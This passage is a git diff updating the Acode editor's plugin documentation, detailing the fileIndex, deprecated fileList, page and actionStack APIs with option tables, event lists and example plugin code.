 const entry = await fileIndex.get(fileUrl);
@@ -139,15 +237,22 @@ console.log(done.files, done.dirs);
 
 | Option | Type | Description |
 | --- | --- | --- |
-| `title` / `name` | `string` | Display title for the workspace |
-| `excludeFolders` | `string[]` | Glob-like exclude patterns (defaults to app settings) |
-| `showHiddenFiles` | `boolean` | Include hidden files |
-| `defaultEncoding` | `string` | Encoding for optional content indexing |
-| `indexContent` | `boolean` | Also cache file text for faster search |
+| `title` / `name` | `string` | Display title for the workspace. **Only read when `root` is a string** — with an object root the title comes from `root.name \|\| root.title` |
+| `excludeFolders` | `string[]` | Exclude glob patterns. Defaults to `settings.value.excludeFolders` |
+| `showHiddenFiles` | `boolean` | Include hidden files. Defaults to `settings.value.fileBrowser.showHiddenFiles` |
+| `defaultEncoding` | `string` | Encoding for optional content indexing. Defaults to `settings.value.defaultFileEncoding` |
+| `indexContent` | `boolean` | Also cache file text so `search({useIndex: true})` can reuse it. Defaults to `false` |
+
+::: warning
+- The promise **rejects** with `Native file index does not support: <url>` when `supports(rootUrl)` is false.
+- Calling `scan()` for a root that is already scanning **cancels the previous scan first**.
+- `fileIndex` hardcodes `emitEntries: false`, so `scan` never emits `batch` events — use `subscribe` for progress instead.
+- The promise resolves on both `done` and `cancelled`; only `error` (and native failure) rejects.
+:::
 
 ### `update(root, changes?): Promise<{ added, removed }>`
 
-Incrementally add or remove paths without a full rescan.
+Incrementally add or remove paths without a full rescan. Resolves with the **number** of rows added and removed.
 
 ```js
 await fileIndex.update(rootUrl, {
@@ -156,26 +261,31 @@ await fileIndex.update(rootUrl, {
 });
 ```
 
+`changes` also accepts `title` / `name` (string `root` only), `excludeFolders`, `showHiddenFiles` and `defaultEncoding`, with the same app-setting defaults as `scan`. It rejects for unsupported roots.
+
 ### `search(options, onEvent?): { id, result, cancel }`
 
-Start a native streaming search or replace.
+Start a native streaming search or replace. This call is **synchronous** — it returns a handle, not a Promise.
+
+The JS layer reads only `id`, `roots`, `files`, `overlays`, `batchResults` and `defaultEncoding`; everything else below is forwarded verbatim to the native search.
 
 | Option | Type | Default | Description |
 | --- | --- | --- | --- |
-| `roots` | `string[]` | `[]` | Workspace roots to search from the index |
-| `files` | `object[]` | `[]` | Explicit file list (merged with indexed root files) |
-| `search` | `string` | | Pattern / text to find |
+| `id` | `string` | generated | Use your own job id (must be unique) |
+| `roots` | `string[]` | `[]` | Workspace roots to pull indexed files from |
+| `files` | `object[]` | `[]` | Explicit file list (serialised with the native `FileEntry` shape), merged with indexed root files |
+| `search` | `string` | `""` | Pattern / text to find |
 | `replace` | `string` | | Replacement text when `mode` is `"replace"` |
 | `mode` | `"search" \| "replace"` | `"search"` | Operation mode |
 | `options.regExp` | `boolean` | `false` | Treat `search` as a regular expression |
 | `options.wholeWord` | `boolean` | `false` | Whole-word matching |
 | `options.caseSensitive` | `boolean` | `false` | Case-sensitive matching |
-| `options.include` | `string` | | Include globs |
-| `options.exclude` | `string` | | Exclude globs |
-| `overlays` | `Record<string, string>` | `{}` | In-memory content (e.g. open dirty editors) |
-| `batchResults` | `boolean` | `true` | Emit batched `search-results` events |
-| `useIndex` | `boolean` | `false` | Prefer cached file contents when available |
-| `defaultEncoding` | `string` | app setting | Encoding for disk reads |
+| `options.include` | `string` | | Comma-separated inclusion globs (defaults to `**`) |
+| `options.exclude` | `string` | | Comma-separated exclusion globs |
+| `overlays` | `Record<url, string>` | `{}` | In-memory content, e.g. open dirty editors, keyed by URL |
+| `batchResults` | `boolean` | `true` | Emit `search-results` (array) instead of `search-result` (single) |
+| `useIndex` | `boolean` | `false` | Read cached file contents instead of hitting storage |
+| `defaultEncoding` | `string` | `settings.value.defaultFileEncoding` | Encoding for disk reads |
 
 ```js
 const { id, result, cancel } = fileIndex.search(
@@ -189,7 +299,7 @@ const { id, result, cancel } = fileIndex.search(
     switch (event.type) {
       case "search-results":
         for (const item of event.data) {
-          console.log(item.file.url, item.matches.length);
+          console.log(item.file.url, item.matches.length, item.limited);
         }
         break;
       case "progress":
@@ -206,15 +316,17 @@ await result; // resolves on done-searching / done-replacing
 // await cancel();
 ```
 
+Each match payload is `{file: Entry, matches: Match[], limited: boolean}`, where `limited` tells you the file's match list was truncated.
+
 ::: tip Batched vs single events
-`fileIndex.search` defaults `batchResults` to **`true`**, so you usually handle `search-results` (array).
+`fileIndex.search` defaults `batchResults` to **`true`**, so you usually handle `search-results` and iterate `event.data`. Each such event carries an **array of per-file match objects** — one entry per file that matched in that batch.
 
-The low-level `sdcard.workspaceSearch()` keeps **single** `search-result` events unless you pass `batchResults: true`.
+If you call the low-level `sdcard.workspaceSearch()` yourself, `batchResults` defaults to **`false`**, so you get single `search-result` events whose `data` is one match object, unless you pass `batchResults: true`.
 :::
 
 ### `markDirty(urls: string[]): Promise`
 
-Invalidate cached contents after an editor save or external file change.
+Invalidate cached file contents after an editor save or external change, so the next `useIndex` search re-reads from storage.
 
 ```js
 await fileIndex.markDirty([fileUrl]);
@@ -222,29 +334,35 @@ await fileIndex.markDirty([fileUrl]);
 
 ### `clear(roots?: string[]): Promise`
 
-Remove native indexes for the given roots (or clear as implemented by the native layer).
+Remove native indexes. Any scan still running for one of those roots is cancelled first.
 
 ```js
 await fileIndex.clear([rootUrl]);
 ```
 
+::: danger
+`clear()` with an empty array (or no argument) wipes **every** indexed workspace, cached content included. Always pass explicit roots unless you really mean "reset the whole index".
+:::
+
 ### `whenReady(roots?: string[]): Promise`
 
-Wait until in-flight scans finish. Pass roots to wait only for those workspaces.
+Wait until in-flight scans finish. It resolves with `Promise.allSettled()` results, so it **never rejects** — inspect the settled entries if you care about failures.
+
+Only scans started through `fileIndex.scan()` are tracked here; it does not wait for the JavaScript fallback scans used by remote providers.
 
 ```js
 await fileIndex.whenReady(roots);
 const { entries } = await fileIndex.query({ roots, text: query });
 ```
 
-### `subscribe(listener): () => void`
+### `subscribe(listener): () => boolean`
 
-Listen for scan / index events. Returns an unsubscribe function.
+Listen for scan and search events. Returns an unsubscribe function (whose return value is `Set.delete()`'s boolean, which you can ignore).
 
 ```js
 const stop = fileIndex.subscribe((event) => {
   if (event.type === "status") {
-    console.log(event.message, event.progress);
+    console.log(event.state, event.message, event.progress);
   }
 });
 
@@ -254,24 +372,47 @@ stop();
 
 ### `cancel(id: string): Promise`
 
-Cancel a scan or search job by id.
+Cancel a scan or search job by id. A falsy id resolves immediately without touching the native layer.
+
+```js
+await fileIndex.cancel(job.id);
+```
 
 ## Entry shape
 
-Query and search results use flat records (not nested `Tree` objects):
+Query results use flat records (not nested `Tree` objects). This is the native `WorkspaceFileEntry` shape:
 
 | Field | Type | Description |
 | --- | --- | --- |
-| `rootUrl` | `string` | Workspace root URL |
-| `parent` / `parentUrl` | `string` | Parent directory URL |
+| `rootUrl` | `string` | Workspace root URL this entry belongs to |
+| `parent` / `parentUrl` | `string` | Parent directory URL (both fields hold the same value) |
 | `name` | `string` | File or folder name |
-| `path` | `string` | Path relative to the workspace title |
-| `url` / `uri` | `string` | Absolute URL |
-| `mime` / `type` | `string` | MIME type when known |
+| `path` | `string` | Path relative to the workspace root, prefixed with the workspace title |
+| `url` / `uri` | `string` | Absolute URL (both fields hold the same value) |
+| `mime` / `type` | `string \| null` | MIME type when known (both fields hold the same value) |
 | `isDirectory` | `boolean` | Directory flag |
-| `isFile` | `boolean` | File flag |
+| `isFile` | `boolean` | Inverse of `isDirectory` |
 | `size` | `number` | Size in bytes |
-| `modifiedDate` | `number` | Last modified timestamp |
+| `modifiedDate` | `number` | Last modified timestamp in ms, `>= 0` |
+
+```js
+const { entries } = await fileIndex.query({ roots: [workspaceUrl], limit: 5 });
+// {
+//   rootUrl: "file:///sdcard/Project",
+//   parent: "file:///sdcard/Project/src",
+//   parentUrl: "file:///sdcard/Project/src",
+//   url: "file:///sdcard/Project/src/app.js",
+//   uri: "file:///sdcard/Project/src/app.js",
+//   name: "app.js",
+//   path: "Project/src/app.js",
+//   mime: "application/javascript",
+//   type: "application/javascript",
+//   isDirectory: false,
+//   isFile: true,
+//   size: 2048,
+//   modifiedDate: 1730000000000
+// }
+```
 
 ## Migrating from `fileList`
 
@@ -279,8 +420,11 @@ Query and search results use flat records (not nested `Tree` objects):
 
 ```js
 const fileList = acode.require("fileList");
-const files = fileList(); // all files as Tree objects
 
+// Leaves of non-native provider trees as Tree objects
+const files = fileList();
+
+// Synchronous, but logs a one-time console.warn on the first call
 fileList.on("add-file", (file) => {
   console.log(file.path);
 });
@@ -310,19 +454,17 @@ Key differences:
 1. **`fileIndex` is asynchronous** — always `await` queries and scans.
 2. **Results are flat records** — no `children` / `parent` tree navigation.
 3. **Pagination** — use `cursor` / `hasMore` for large result sets.
-4. **SAF + `file://` only** — keep using `fileList` for FTP/SFTP if needed.
+4. **`fileList` is empty for SAF and `file://`** — keep it only for FTP/SFTP if needed.
 5. **Search events may be batched** — handle `search-results` as well as `search-result`.
 
-Hybrid pattern (native roots + remote fallback):
+Hybrid pattern (native roots + remote fallback), mirroring Acode's own Find File palette:
 
 ```js
 const fileIndex = acode.require("fileIndex");
-const fileList = acode.require("fileList");
+const fileList = acode.require("fileList"); // legacy, remote providers only
 const addedFolder = acode.require("addedfolder");
 
 const nativeRoots = [];
-const remoteFiles = [];
-
 for (const folder of addedFolder) {
   if (!folder.listFiles) continue;
   if (fileIndex.supports(folder.url)) {
@@ -330,29 +472,54 @@ for (const folder of addedFolder) {
   }
 }
 
-const { entries } = nativeRoots.length
-  ? await fileIndex.query({ roots: nativeRoots, text: query, limit: 300 })
-  : { entries: [] };
+let entries = [];
+if (nativeRoots.length) {
+  try {
+    ({ entries = [] } = await fileIndex.query({
+      roots: nativeRoots,
+      text: query,
+      limit: 300,
+    }));
+  } catch (error) {
+    console.warn("Unable to query native file index:", error);
+  }
+}
 
 // Non-native providers still appear in the legacy list
-for (const file of fileList()) {
-  remoteFiles.push(file);
-}
+const remoteFiles = fileList();
 ```
 
-## Events
+## Events <Badge type="tip" text="corrected" />
 
-Scan and search jobs emit events with a shared shape. Common `type` values:
+`scan()` and `search()` share one event envelope: `{id, type, action}` where `action` always mirrors `type`, so read either. `fileIndex` switches on `event.type || event.action`.
 
-| Type | When |
-| --- | --- |
-| `status` | Progress message during scan/search |
-| `progress` | Numeric progress (`data` is 0–100) |
-| `batch` | Optional entry batches during scan |
-| `search-result` | One file's matches (`batchResults: false`) |
-| `search-results` | Array of file match payloads (`batchResults: true`) |
-| `replace-result` | File content after replace |
-| `done` | Scan finished |
-| `cancelled` | Scan cancelled |
-| `done-searching` / `done-replacing` | Search/replace finished |
-| `error` | Failure (`error` message string) |
+| Type | Extra payload | Emitted by |
+| --- | --- | --- |
+| `status` | `state`, `message`, `progress` | `scan` (and native search) |
+| `progress` | `data` (0–100) | Search |
+| `batch` | `entries: Entry[]` | **Not** via `fileIndex.scan` — it forces `emitEntries: false` |
+| `search-result` | `data: {file, matches, limited}` | Search with `batchResults: false` |
+| `search-results` | `data: Array<{file, matches, limited}>` | Search with `batchResults: true` (the default) |
+| `replace-result` | `file: Entry`, `text: string` | Search with `mode: "replace"` |
+| `done` | `files`, `dirs`, `indexed` | `scan` — also resolves the scan promise |
+| `cancelled` | — | `scan` — also resolves the scan promise |
+| `done-searching` / `done-replacing` | — | Search — also resolves `result` |
+| `error` | `error` (message string) | Scan and search — also rejects |
+
+Every event from `scan()` is forwarded to `subscribe()` listeners, so you can watch index progress without owning the scan:
+
+```js
+const stop = fileIndex.subscribe((event) => {
+  if (event.type === "status") {
+    console.log(event.state, event.message);
+  }
+  if (event.type === "done") {
+    console.log("indexed", event.files, "files and", event.dirs, "folders");
+  }
+});
+
+acode.require("openfolder")("file:///sdcard/Project", {
+  name: "Project",
+  listFiles: true,
+});
+```
diff --git a/docs/editor-components/file-list.md b/docs/editor-components/file-list.md
index 170fa60..60af48e 100644
--- a/docs/editor-components/file-list.md
+++ b/docs/editor-components/file-list.md
@@ -1,37 +1,74 @@
 # File List API <Badge type="warning" text="Deprecated" />
 
-::: warning Deprecated — migrate to File Index
-`acode.require("fileList")` is **deprecated** from **versionCode `1002`**.
+::: danger Deprecated — migrate to File Index
+`acode.require("fileList")` is **deprecated** in the Acode **v1.13.5** source (`src/lib/fileList.js`, `src/lib/acode.js`).
 
-- SAF (`content:`) and `file://` workspaces are no longer fully listed here.
-- Those roots live in the native index — use [`fileIndex`](./file-index.md) <Badge type="tip" text="v1002+" />.
-- `fileList` still contains **non-native** providers only (FTP, SFTP, custom storage).
+- SAF (`content:`) and `file://` workspaces are no longer listed here at all. Those roots are routed to the native index.
+- `fileList` now contains **non-native** providers only (FTP, SFTP, custom storage).
+- Calling the returned function logs a one-time `console.warn`, and the module carries `deprecated` / `replacement` markers.
 
-```js
+**Full replacement guide: [`fileIndex`](./file-index.md).** Everything below documents the legacy surface for plugins that still need remote-provider trees.
+:::
+
+::: code-group
+```js [Migrate to fileIndex]
 const fileIndex = acode.require("fileIndex");
-const result = await fileIndex.query({
+const { entries, hasMore } = await fileIndex.query({
   roots: [workspaceUrl],
   text: "filename",
   limit: 200,
 });
+
+for (const file of entries) {
+  console.log(file.name, file.path, file.url);
+}
+```
+
+```js [Keep fileList, remote providers only]
+const fileList = acode.require("fileList");
+
+for (const file of fileList()) {
+  console.log(file.name, file.path, file.url); // Tree leaves
+}
 ```
 :::
 
 The File List API builds an in-memory tree for workspace files. After the deprecation change, that tree only covers providers that **cannot** use the native index.
 
-On first use, Acode may log:
+## What deprecation actually does <Badge type="tip" text="new" />
 
-```text
-acode.require("fileList") is deprecated. Use the asynchronous "fileIndex" API.
-fileList now contains only non-native storage providers.
+`src/lib/acode.js` wraps the module before handing it to you:
+
+```js
+let didWarnAboutFileList = false;
+const deprecatedFileList = (...args) => {
+  if (!didWarnAboutFileList) {
+    didWarnAboutFileList = true;
+    console.warn(
+      'acode.require("fileList") is deprecated. Use the asynchronous "fileIndex" API. fileList now contains only non-native storage providers.',
+    );
+  }
+  return files(...args);
+};
+Object.assign(deprecatedFileList, files);
+deprecatedFileList.deprecated = true;
+deprecatedFileList.replacement = "fileIndex";
 ```
 
-The required module also exposes:
+Consequences you can rely on:
 
-| Property | Value |
+| Property / behaviour | Value |
 | --- | --- |
-| `deprecated` | `true` |
-| `replacement` | `"fileIndex"` |
+| `fileList.deprecated` | `true` |
+| `fileList.replacement` | `"fileIndex"` |
+| Console warning | Exactly the string above, logged **once per app session**, on the first **invocation** of the function — not on `acode.require()` itself |
+| `fileList()` | Same behaviour as the un-deprecated module function |
+
+::: warning The exposed surface is smaller than the module
+`Object.assign` copies only the **own enumerable** properties of the module's default export — that is `on` and `off`. The named exports of `src/lib/fileList.js` (`append`, `remove`, `refresh`, `rename`, `whenReady`, `addRoot`, `Tree`, `initFileList`) are **not** copied, so they are **not** reachable from `acode.require("fileList")`.
+
+`acode.require("fileList")` therefore exposes exactly: the callable itself, `.on`, `.off`, `.deprecated` and `.replacement`.
+:::
 
 ## Usage
 
@@ -40,16 +77,20 @@ The required module also exposes:
 ```js
 const fileList = acode.require("fileList");
 
-// All files from non-native providers (flat list of Tree leaves)
+// All file leaves from non-native providers (directories are never returned)
 const allFiles = fileList();
 
-// Optional transform
+// Optional transform, applied to each leaf
 const names = fileList((file) => file.name);
 
-// Look up one path in the tree
-const node = fileList("/some/path");
+// Look up one node by URL — returns the Tree node, or null when not found
+const node = fileList("/some/path/file.txt");
 ```
 
+::: tip Directories are skipped
+`fileList()` flattens each root and only collects nodes that have **no** `children`. Folder nodes never appear in the returned array, and each URL is emitted at most once even if two roots overlap.
+:::
+
 ### Event handling
 
 ```js
@@ -64,73 +105,98 @@ fileList.on("remove-file", (file) => {
 });
 ```
 
+`on` / `off` accept any string; unknown names are silently created as empty arrays.
+
 ::: tip
-For SAF / `file://` workspaces, `add-file` / `remove-file` tree events may not cover native-indexed files. Prefer `fileIndex.query` / `fileIndex.subscribe` for those roots.
+For SAF / `file://` workspaces, `add-file` / `remove-file` tree events no longer fire — those paths are forwarded to `fileIndex.update()` / `fileIndex.clear()` instead. Prefer `fileIndex.query` / `fileIndex.subscribe` for those roots.
 :::
 
 ## Tree object
 
 The `Tree` object represents files and folders that are still tracked by the JavaScript index (non-native providers).
 
+::: warning
+The `Tree` **class** is a named export of `src/lib/fileList.js`, but it is **not** copied onto the module you receive — see the deprecation note above. Plugins only ever get `Tree` instances back as arguments and return values; use `node.name`, `node.path`, `node.url` and the instance getters below. The static helpers are documented for completeness and for anyone porting Acode's own internal code.
+:::
+
 ### Properties
 
 | Property | Type | Description |
 | --- | --- | --- |
-| `name` | `string` | Name of the file/folder |
-| `url` | `string` | Absolute URL |
-| `path` | `string` | Relative path |
-| `children` | `Array<Tree> \| null` | Child entries when this node is a directory |
-| `parent` | `Tree \| null` | Parent folder reference |
-| `mime` | `string \| null` | MIME type when known |
-| `size` | `number` | Size in bytes when known |
-| `modifiedDate` | `number` | Last modified timestamp when known |
+| `name` | `string` | Name of the file/folder (read-only getter) |
+| `url` | `string` | Absolute URL (read-only getter) |
+| `path` | `string` | Path relative to the root title (read-only getter) |
+| `children` | `Array<Tree> \| null` | Child entries when this node is a directory; `null` for leaves |
+| `parent` | `Tree \| null` | Parent folder reference. Assigning anything but a `Tree` throws |
+| `mime` | `string \| null` | MIME type when known, else `null` |
+| `size` | `number` | Size in bytes, `0` when unknown |
+| `modifiedDate` | `number` | Last modified timestamp in ms, `0` when unknown |
+| `retriedCount` | `number` | Consecutive `lsDir` retry counter used by the remote-provider fallback scan |
 | `isConnected` | `boolean` | Whether the root is still in the open folder list |
 | `root` | `Tree` | Root folder reference |
 
 ### Methods
 
-#### `update(url: string, name?: string)`
+#### `update(url: string, name?: string): void`
 
-Updates the file/folder URL and name.
+Updates the file/folder URL and name (defaults `name` to `Url.basename(url)`) and re-scans the subtree. **Only works for non-native providers** — under a native root the tree node does not exist and the operation is forwarded to `fileIndex.update()` by the module-level `rename()` helper.
 
 ```js
 tree.update("/new/path/file.txt", "newname.txt");
 ```
 
-#### `toJSON()`
+#### `toJSON(): TreeJson`
 
-Converts the tree node to a plain object.
+Converts the tree node to a plain object. Directories are reported via `isDirectory`.
 
 ```js
 const json = tree.toJSON();
+// { name, url, path, parent, mime, size, modifiedDate, isDirectory }
 ```
 
-#### `Tree.fromJSON(json: object)`
+#### `Tree.fromJSON(json: object): Tree`
 
-Creates a tree node from JSON data.
+Creates a tree node from JSON data. The `parent` field must be the **URL** of an existing node in the current tree, otherwise the parent link is `null`.
 
 ```js
 const tree = Tree.fromJSON(jsonData);
 ```
 
-#### `Tree.create(url: string, name?: string, isDirectory?: boolean)`
+#### `Tree.create(url: string, name?, isDirectory?, mime?, size?, modifiedDate?): Promise<Tree>`
 
-Creates a new tree instance.
+Creates a new tree instance. When `name` is omitted **and** `isDirectory` is falsy, Acode calls `fsOperation(url).stat()` to fill in `name`, `isDirectory`, `mime`, `size` and `modifiedDate`.
 
 ```js
-const newTree = await Tree.create("/path/file.txt", "file.txt");
+const newTree = await Tree.create("/path/file.txt"); // stat() fills the rest
+const folder = await Tree.create("/path/folder", "folder", true);
 ```
 
+#### `Tree.createRoot(url: string, name: string): Promise<Tree>`
+
+Creates a directory tree root and seeds `path` with `name`.
+
+```js
+const root = await Tree.createRoot("ftp://example.com/www", "www");
+```
+
+#### `new Tree(name, url, isDirectory?, mime?, size?, modifiedDate?)`
+
+The raw constructor. Prefer the static factories.
+
 ## Events
 
 | Event | Description |
 | --- | --- |
 | `add-file` | File added to the JS index |
-| `push-file` | File pushed while scanning a directory |
+| `push-file` | File pushed while scanning a directory (fires immediately before `add-file`) |
 | `remove-file` | File removed from the JS index |
-| `add-folder` | Folder root added (`native: true` for native roots) |
+| `add-folder` | Folder root added. For a native root the payload is `{url, name, native: true}`; otherwise it is the `Tree` root |
 | `remove-folder` | Folder root removed |
-| `refresh` | File list refreshed |
+| `refresh` | Emitted with the whole `filesTree` map after a refresh |
+
+::: tip
+Under a native root, no `add-file` / `remove-file` / `push-file` events fire at all — the changes are forwarded to `fileIndex.update()` / `fileIndex.clear()`. Removing a native **root** emits `remove-folder` with `{url, native: true}`; removing a plain URL never fires `remove-file`.
+:::
 
 ## Error handling
 
@@ -142,10 +208,12 @@ try {
 }
 ```
 
+`fileList()` itself does not throw on unreachable providers — the fallback scan retries a failing `lsDir()` up to `settings.value.maxRetryCount` times, waiting 3 seconds between attempts, and optionally shows a retry toast (`settings.value.showRetryToast`). It silently drops the subtree when retries are exhausted.
+
 ## Migration checklist
 
 1. Replace filename lookup / Quick Open style features with `fileIndex.query`.
 2. Replace project-wide content search over local roots with `fileIndex.search`.
 3. Keep `fileList` only if you still need FTP/SFTP/custom provider trees.
-4. Set `"minVersionCode": 1002` in `plugin.json` when you hard-depend on `fileIndex`.
-5. Feature-detect `fileIndex` for plugins that must run on older builds.
+4. Feature-detect `fileIndex` for plugins that must run on older builds — do not hardcode a `minVersionCode`, since `CHANGELOG.md` records none for this API.
+5. Acode's own Find File palette (`src/palettes/findFile/index.js`) is the reference hybrid: open editor tabs + `fileList()` + `fileIndex.query()`, de-duplicated by URL.
diff --git a/docs/editor-components/page.md b/docs/editor-components/page.md
index 921f802..2091d1b 100644
--- a/docs/editor-components/page.md
+++ b/docs/editor-components/page.md
@@ -8,6 +8,8 @@ The Page Component in Acode allows you to create customizable pages with headers
 const page = acode.require('page');
 ```
 
+`acode.require()` lowercases module names, so `acode.require("page")` works too.
+
 ## Usage
 
 To create a new page:
@@ -26,36 +28,127 @@ const myPage = page('My Plugin Page', {
 });
 ```
 
-## Parameters
+## Signature <Badge type="tip" text="new" />
+
+```js
+page(title: string, options?: { lead?: HTMLElement, tail?: HTMLElement }) => WCPage
+```
+
+`page()` is a thin factory around the `<wc-page>` custom element. It:
+
+1. Creates `<wc-page />`.
+2. Sets `page.append = page.appendBody`, so `append()` and `appendBody()` are the same thing.
+3. Builds the header and the `<div class="main">` body container (`initializeIfNotAlreadyInitialized()`), unless the element already has class `primary`.
+4. Calls `settitle(title)`.
+5. Appends `options.tail` to the header, then replaces the default lead with `options.lead` if given.
+
+### Parameters
 
 - `title` (string) - The title text shown in the page header
 - `options` (object) - Optional configuration object:
-		- `lead` (HTMLElement) - Element shown before the title (e.g. back button)
-		- `tail` (HTMLElement) - Element shown after the title (e.g. menu icon)
+		- `lead` (HTMLElement) - Element shown before the title (e.g. back button). Replaces the default `arrow_back` lead.
+		- `tail` (HTMLElement) - Element shown after the title (e.g. menu icon). Appended to the header.
 
 ## Methods
 
 | Method | Description |
 |--------|-------------|
-| `appendBody(...elements)` | Adds elements to the main page content area |
-| `appendOuter(...elements)` | Adds elements outside the main content area |
-| `on(event, callback)` | Adds an event listener to the page |
-| `off(event, callback)` | Removes an event listener from the page |
-| `setTitle(title)` | Updates the page title |
-| `hide()` | Hides the page |
+| `appendBody(...elements)` | Appends elements into the `.main` body container. No-op when there is no body |
+| `appendOuter(...elements)` | Appends elements as direct children of the `<wc-page>` itself, outside `.main` (uses the native `HTMLElement.append`) |
+| `append(...elements)` | Alias of `appendBody` |
+| `on(event, callback)` | Adds a listener. Valid events: `show`, `hide`, `willconnect`, `willdisconnect` |
+| `off(event, callback)` | Removes a listener previously added with `on` |
+| `settitle(title)` | Updates the page title (also fires when the `data-title` attribute changes) |
+| `hide()` | Animates the page out and removes it from the DOM |
+| `initializeIfNotAlreadyInitialized()` | Builds the header/body if they are missing. Called for you by `page()` |
+
+::: warning There is no built-in `show()`
+`WCPage` has **no** `show()` method — that is why Acode's own pages assign one. You must define it yourself, usually by pushing a hide action onto the action stack and appending the page to `app` (see [Action stack](#action-stack) below).
+:::
+
+:::info
+You'll need to implement `show` method according to your situation at your own.
+:::
 
 ## Properties
 
 | Property | Type | Description |
 |----------|------|-------------|
-| `body` | HTMLElement | The main content container |
-| `header` | HTMLElement | The header container element |
-| `innerHTML` | string | The page's inner HTML content |
-| `textContent` | string | The page's text content |
-| `lead` | HTMLElement | The lead element if defined |
+| `body` | HTMLElement | The `.main` (or `main`) content container. Also settable — assigning replaces the body element in place |
+| `header` | HTMLElement | The header `tile` element. Also settable |
+| `lead` | HTMLElement | The lead element (default: `<span class="icon arrow_back" attr-action="go-back">`, which calls `hide()`). Also settable |
+| `innerHTML` | string | Proxied to `body.innerHTML` |
+| `textContent` | string | Proxied to `body.textContent` |
+| `handler` | PageHandler | Internal page-transition object. Owns the `<span class="page-replacement">` used for smooth back navigation |
+| `onhide` | `() => void` | Called synchronously at the **start** of `hide()` |
+| `onconnect` | `() => void` | Called from `connectedCallback()`, after the fade-in animation starts |
+| `ondisconnect` | `() => void` | Called from `disconnectedCallback()`, before `hide` listeners |
+| `onwilldisconnect` | `() => void` | Called when the page is swapped out for its replacement placeholder |
+| `onwillconnect` | `() => void` | Called when the page is restored from that placeholder |
 
-:::info
-You'll need to implement `show` method according to your situation at your own.
+Class names that change behaviour:
+
+| Class | Effect |
+| --- | --- |
+| `primary` | Use the existing `header` element instead of creating one, and skip the show/hide fade. Also disables the page-replacement mechanism |
+| `no-transition` | Shorten the fade in/out to ~0.08 s |
+| `hide` | Removed automatically on connect; add it yourself to keep a page visually hidden |
+
+::: tip There is no `onshow`
+Use `page.on('show', cb)` for the connect-time callback, or `page.onconnect`. `WCPage` declares `onhide`, `onconnect`, `ondisconnect`, `onwillconnect` and `onwilldisconnect` — but **not** `onshow`.
+:::
+
+## Lifecycle and ordering <Badge type="tip" text="new" />
+
+`$page` is attached to the DOM only when you append it yourself (`app.append($page)`). Ordering:
+
+| Step | What runs |
+| --- | --- |
+| 1 | `page()` returns — the element is **not** in the document yet |
+| 2 | `app.append($page)` → `connectedCallback()` fires: `.hide` is removed, the fade-in animation starts, then `onconnect()`, then every `show` listener |
+| 3 | ... user interacts ... |
+| 4 | `$page.hide()` → `onhide()` runs **immediately** |
+| 5 | The fade-out animation runs, then the element (and its replacement placeholder) is removed |
+| 6 | `disconnectedCallback()` fires: `ondisconnect()`, then every `hide` listener |
+
+A third page's appearance replaces the oldest visible page with a `<span class="page-replacement">` placeholder (`onwilldisconnect` fires). Going back restores it (`onwillconnect` fires) and restores the cached scroll position of `body`.
+
+## Action stack <Badge type="tip" text="new" />
+
+`acode.require("actionStack")` is what makes the hardware/gesture back button close your page instead of the app. Acode's own pages all follow the same pattern:
+
+```js
+const actionStack = acode.require('actionStack');
+
+const settingsPage = page('Plugin Settings');
+
+settingsPage.show = () => {
+	actionStack.push({
+		id: 'my-plugin-settings',
+		action: settingsPage.hide,
+	});
+	app.append(settingsPage);
+};
+
+settingsPage.onhide = () => {
+	actionStack.remove('my-plugin-settings');
+};
+```
+
+| Member | Signature | Description |
+| --- | --- | --- |
+| `length` | `number` | Number of pushed actions |
+| `push(fun)` | `push({id: string, action: Function})` | Push a back-stack entry. `id` must be unique enough to `remove()` it |
+| `pop(repeat?)` | `async pop(repeat?: number)` | Pop and run the newest action. When the stack is empty it shows the exit confirmation (`settings.value.confirmOnExit`) and then calls `navigator.app.exitApp()` |
+| `remove(id)` | `remove(id: string) => boolean` | Remove an entry without running it. Returns `true` when found |
+| `has(id)` | `has(id: string) => boolean` | Membership test |
+| `get(id)` | `get(id: string) => {id, action} \| undefined` | Look up an entry |
+| `freeze()` / `unfreeze()` | `() => void` | Make `pop()` a no-op (e.g. while a blocking dialog is open) |
+| `setMark()` / `clearFromMark()` | `() => void` | Bulk-remove everything pushed after a mark |
+| `onCloseApp` | `get/set Function` | Callback run before `exitApp()`; may return a Promise |
+
+::: tip
+Always pair `push()` in `show()` with `remove()` in `onhide`, and give each page a distinct `id` — otherwise back presses will close the wrong page. Acode's own plugin page (`src/lib/loadPlugin.js`) uses the plugin id as the action id.
 :::
 
 ## Example
@@ -110,3 +203,96 @@ function createSettingsPage() {
 		settingsPage.show();
 }
 ```
+
+## Complete plugin example <Badge type="tip" text="new" />
+
+A settings-style page with show/hide, live re-render and cleanup:
+
+```js
+// main.js
+if (window.acode) {
+	class MyPluginPage {
+		constructor(id) {
+			this.id = id;
+			this.actionId = `${id}-page`;
+			this.actionStack = acode.require('actionStack');
+			this.toast = acode.require('toast');
+			this.page = acode.require('page')('My Plugin');
+			this.input = tag('input', {type: 'text', placeholder: 'Name'});
+
+			this.page.appendBody(
+				tag('p', {innerHTML: 'Type a name, then press back.'}),
+				this.input,
+			);
+
+			// Fired synchronously at the start of hide()
+			this.page.onhide = () => {
+				this.actionStack.remove(this.actionId);
+			};
+
+			// Fired every time the element is (re)attached to the DOM
+			this.page.on('show', () => {
+				this.input.focus();
+			});
+
+			this.show = this.show.bind(this);
+		}
+
+		show() {
+			if (this.page.isConnected) return; // never push twice
+
+			this.actionStack.push({
+				id: this.actionId,
+				action: this.page.hide,
+			});
+			app.append(this.page);
+
+			this.toast('Ready');
+		}
+
+		hide() {
+			this.page.hide();
+		}
+
+		dispose() {
+			// hide() already runs onhide -> actionStack.remove(this.actionId)
+			this.hide();
+		}
+	}
+
+	let instance;
+
+	acode.setPluginInit(
+		'com.example.plugin',
+		(baseUrl, $page) => {
+			instance = new MyPluginPage('com.example.plugin');
+
+			// Reuse the page Acode already gives you — its show()/onhide are
+			// already wired to the action stack under the plugin id.
+			$page.appendBody(
+				tag('button', {
+					textContent: 'Open page',
+					onclick: () => instance.show(),
+				}),
+			);
+		},
+		{
+			list: [
+				{key: 'greeting', text: 'Greeting', prompt: 'Greeting text'},
+			],
+			cb(key, value) {
+				instance.input.placeholder = value;
+			},
+		},
+	);
+
+	acode.setPluginUnmount('com.example.plugin', () => {
+		instance?.dispose();
+		instance = undefined;
+	});
+}
+```
+
+::: tip
